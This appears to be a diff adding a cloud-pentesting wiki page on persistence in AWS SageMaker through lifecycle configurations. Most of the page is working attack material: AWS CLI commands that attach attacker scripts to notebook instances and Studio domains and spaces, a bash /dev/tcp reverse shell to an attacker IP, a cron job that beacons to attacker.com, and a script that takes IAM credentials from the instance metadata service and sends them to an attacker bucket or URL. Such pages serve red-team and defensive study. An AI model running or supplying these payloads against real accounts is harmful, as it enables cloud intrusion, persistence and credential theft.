+### AWS - SageMaker Lifecycle Configuration Persistence
+
+# Required Permissions
+* Notebook Instances: sagemaker:CreateNotebookInstanceLifecycleConfig, sagemaker:UpdateNotebookInstanceLifecycleConfig, sagemaker:CreateNotebookInstance, sagemaker:UpdateNotebookInstance
+* Studio Applications: sagemaker:CreateStudioLifecycleConfig, sagemaker:UpdateStudioLifecycleConfig, sagemaker:UpdateUserProfile, sagemaker:UpdateSpace, sagemaker:UpdateDomain
+
+### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
+
+## Set Lifecycle Configuration on Notebook Instances
+
+### Example AWS CLI Commands:
+
+*# Create Lifecycle Configuration*
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+*# Attach Lifecycle Configuration to Notebook Instance*
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+
+## Set Lifecycle Configuration on SageMaker Studio
+
+Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
+
+### Studio Domain Level (All Users)
+
+*# Create Studio Lifecycle Configuration*
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+*# Apply LCC to entire Studio Domain*
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+    "JupyterServerAppSettings": {
+        "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+    }
+}'
+
+### Studio Space Level (Individual or Shared Spaces)
+
+*# Update SageMaker Studio Space to attach LCC*
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+    "JupyterServerAppSettings": {
+        "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+    }
+}'
+
+## Types of Studio Application Lifecycle Configurations
+
+Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
+* JupyterServer: Runs scripts during Jupyter server startup, ideal for persistence mechanisms like reverse shells and cron jobs.
+* KernelGateway: Executes during kernel gateway app launch, useful for initial setup or persistent access.
+* CodeEditor: Applies to the Code Editor (Code-OSS), enabling scripts that execute upon the start of code editing sessions.
+
+### Example Command for Each Type:
+
+### JupyterServer
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+### KernelGateway
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+
+### CodeEditor
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+
+### Critical Info:
+* Attaching LCCs at the domain or space level impacts all users or applications within scope.
+* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
+* Network-level controls (e.g., strict egress filtering) can prevent successful reverse shells or data exfiltration.
+
+## Reverse Shell via Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
+
+### Payload Example:
+
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+
+## Cron Job Persistence via Lifecycle Configuration
+
+An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
+
+### Payload Example:
+
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+
+## Credential Exfiltration via IMDS (v1 & v2)
+
+Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
+
+### Payload Example:
+
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+*# Exfiltrate via S3*
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+*# Alternatively, exfiltrate via HTTP POST*
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
